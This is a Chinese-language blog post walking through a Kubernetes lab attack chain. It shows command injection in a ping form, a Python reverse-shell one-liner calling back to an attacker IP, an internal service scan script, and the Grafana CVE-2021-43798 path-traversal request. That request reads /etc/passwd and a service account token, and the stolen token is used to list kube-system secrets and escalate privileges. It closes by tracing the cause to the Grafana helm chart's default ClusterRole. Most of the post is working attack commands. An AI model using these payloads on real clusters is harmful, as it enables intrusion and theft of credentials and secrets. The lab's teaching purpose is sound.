一个易懂、完整、实战的K8S攻防靶场演练

admin 2024年1月12日09:25:38评论223 views字数 5455阅读18分11秒阅读模式

靶场资源情况

kubectl get all -A | grep -v kube-system | grep -v local-path-storage

一个易懂、完整、实战的K8S攻防靶场演练

攻击

获取元数据

curl -IL http://localhost:8080

一个易懂、完整、实战的K8S攻防靶场演练

可以看到 Web 应用程序在 Python/3.9.16、 Werkzeug Web 服务器上运行。

查看 Web

最基础的命令注入,利用 Ping 功能注入恶意命令,

一个易懂、完整、实战的K8S攻防靶场演练

curl -X POST -d "url=;id;hostname" http://localhost:8080/

一个易懂、完整、实战的K8S攻防靶场演练

利用漏洞

在前面信息收集阶段,我们已经获取到了,Web 应用程序在 Python/3.9.16 上运行,所以可以利用 Python 反弹 shell,注意替换下面的<YOUR_IP>为监听IP,

curl -X POST -d "url=;python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<YOUR_IP>",9001)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); import pty; pty.spawn("/bin/bash")'" http://localhost:8080/

务端监听。

nc -lvnp 9001

一个易懂、完整、实战的K8S攻防靶场演练

进入Pod

查看环境变量以获取信息 env

我们可以看到服务器正在 Kubernetes 集群上运行。

一个易懂、完整、实战的K8S攻防靶场演练

我们可以尝试使用以下命令列出集群上运行的 Pod,

# 获取pod的服务帐户令牌export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)# 使用REST API与集群交互curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure# https://kubernetes.default.svc:443 是 Kubernetes 集群内部的 Kubernetes API Server 的地址# 这个地址一般只在 Kubernetes 集群内部可用,从集群外部通常是不可达的,因为它通常不会被直接暴露给公共网络。

可惜我们的 Pod 无权列出集群上运行的 Pod。

一个易懂、完整、实战的K8S攻防靶场演练

默认情况下,kubernetes 服务资源的 ip 范围为 10.96.0.0/16,可以尝试使用一个简单的脚本来发现其他服务,下方脚本将尝试连接到指定端口上范围内的所有 IP 地址,scan.sh

#!/bin/bash# 设置超时值(以秒为单位)timeout=0.03# 循环通过10.96.0/16范围内的每个IP地址for third_octet in {0..255}; do  for fourth_octet in {0..255}; do    ip="10.96.$third_octet.$fourth_octet"    while read -r port; do      url="http://${ip}:${port}"      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then        echo "Success: $url (HTTP $response_code)"      fi    done < "ports.txt"  done  echo "Range 10.96.$third_octet.0/24 done"done

写入scan.sh,作为实验我清楚网络拓扑,故将段限制在 10.96.{96..98},

echo -e '#!/bin/bashntimeout=0.03nfor third_octet in {96..98}; don  for fourth_octet in {0..255}; don    ip="10.96.$third_octet.$fourth_octet"n    while read -r port; don      url="http://${ip}:${port}"n      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")n      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; thenn        echo "Success: $url (HTTP $response_code)"n      fin    done < "ports.txt"n  donen  echo "Range 10.96.$third_octet.0/24 done"ndone' > scan.sh

还需要创建一个 ports.txt 文件,作为实验,就写一个3000端口,

echo -e "3000" > ports.txt

运行脚本,发现一个运行在 IP 10.96.97.167 上的服务,

一个易懂、完整、实战的K8S攻防靶场演练

将这个服务设置成我们的目标,方便后续对该目标进行操作,

export TARGET_IP=10.96.97.167

探测一下该服务,

curl -IL http://$TARGET_IP:3000

一个易懂、完整、实战的K8S攻防靶场演练

被重定向到 http://10.96.57.212:3000/login,再探测下这个服务,

curl http://$TARGET_IP:3000/login |grep title

这似乎是一个 grafana 仪表板登录页面,

一个易懂、完整、实战的K8S攻防靶场演练

权限提升

获取 Grafana 版本,

curl http://$TARGET_IP:3000/login | grep "subTitle"

一个易懂、完整、实战的K8S攻防靶场演练

版本 8.3.0 容易受到 CVE-2021-43798 的攻击,存在未授权的任意文件读取漏洞。

尝试使用以下命令获取文件的内容:/etc/passwd,

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

一个易懂、完整、实战的K8S攻防靶场演练

我们真的可以读取任意文件。

Kubernetes 为 Pod 提供 ServiceAccount,允许它们拥有访问权限、角色或其他东西,Pod 的 ServiceAccount token 保存在 Pod 文件系统上 /var/run/secrets/kubernetes.io/serviceaccount/token 中,可以利用上面任意文件读取的漏洞,读取 Pod 的服务账号令牌(token),

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token

一个易懂、完整、实战的K8S攻防靶场演练

窃取 Grafana 服务帐户,设置 token,

export TOKEN=$(curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token)

我们拥有 Grafana 服务账号令牌,我们请求集群资源就像 Grafana pod 请求一样,可能比我们初始获得的 Pod 权限要大,所以我们需要重复尝试获取集群资源,

尝试列出集群的命名空间,失败,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces" -m 3 --insecure

一个易懂、完整、实战的K8S攻防靶场演练

尝试集列出 Pod,成功,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure

一个易懂、完整、实战的K8S攻防靶场演练

当使用 grafana serviceAccount 时,只会看到与 grafana 位于同一命名空间上的 pod。但是,可以更改命名空间以查看其他资源。

比如可以尝试列出 kube-system 命名空间上的 pod,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/pods" -m 3 --insecure

一个易懂、完整、实战的K8S攻防靶场演练

尝试列出 kube-system 命名空间上的 secrets,

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/secrets" -m 3 --insecure

一个易懂、完整、实战的K8S攻防靶场演练

设置一个高权限token,

export TOKEN=ZXlKaGJHY2lPaxxxxxxxxxxxxxx

重新列出集群的命名空间,权限提升成功!

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces" -m 3 --insecure |grep "name"

一个易懂、完整、实战的K8S攻防靶场演练

why

为什么 Grafana 可以得到所有的 secrets?

默认情况下,Grafana helm chart 会为集群中 Grafana 部署提供一个 ClusterRole,该角色有权获取和列出集群上的所有 secrets 和 configmaps。

配置文件 clusterrole.yaml,

https://github.com/grafana/helm-charts/blob/7d2030e19ab7f2e253f102ce83de3fade8fe5b80/charts/grafana/templates/clusterrole.yaml
{{- if and .Values.rbac.create (or (not .Values.rbac.namespaced) .Values.rbac.extraClusterRoleRules) (not .Values.rbac.useExistingClusterRole) }}kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  labels:    {{- include "grafana.labels" . | nindent 4 }}  {{- with .Values.annotations }}  annotations:    {{- toYaml . | nindent 4 }}  {{- end }}  name: {{ include "grafana.fullname" . }}-clusterrole{{- if or .Values.sidecar.dashboards.enabled .Values.rbac.extraClusterRoleRules .Values.sidecar.datasources.enabled .Values.sidecar.plugins.enabled .Values.sidecar.alerts.enabled }}rules:  {{- if or .Values.sidecar.dashboards.enabled .Values.sidecar.datasources.enabled .Values.sidecar.plugins.enabled .Values.sidecar.alerts.enabled }}  - apiGroups: [""]    resources: ["configmaps", "secrets"]    verbs: ["get", "watch", "list"]  {{- end}}  {{- with .Values.rbac.extraClusterRoleRules }}  {{- toYaml . | nindent 2 }}  {{- end}}{{- else }}rules: []{{- end}}{{- end}}

上面的判断转化为GO的伪代码其实是,

if .Values.rbac.create is true AND   ((not .Values.rbac.namespaced) OR .Values.rbac.extraClusterRoleRules is true) AND   (not .Values.rbac.useExistingClusterRole) {    xxxxxxx    xxxxxxx}

我们可以在 values.yml 中找到所有参数的默认值,提炼一下就是,

https://github.com/grafana/helm-charts/blob/7d2030e19ab7f2e253f102ce83de3fade8fe5b80/charts/grafana/values.yaml
rbac:  create: true  pspEnabled: false  pspUseAppArmor: false  namespaced: false  extraRoleRules: []

可以发现默认情况下,上面的 IF 是成立的。

原文始发于微信公众号(安全小将李坦然):一个易懂、完整、实战的K8S攻防靶场演练

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月12日09:25:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个易懂、完整、实战的K8S攻防靶场演练https://cn-sec.com/archives/2384666.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息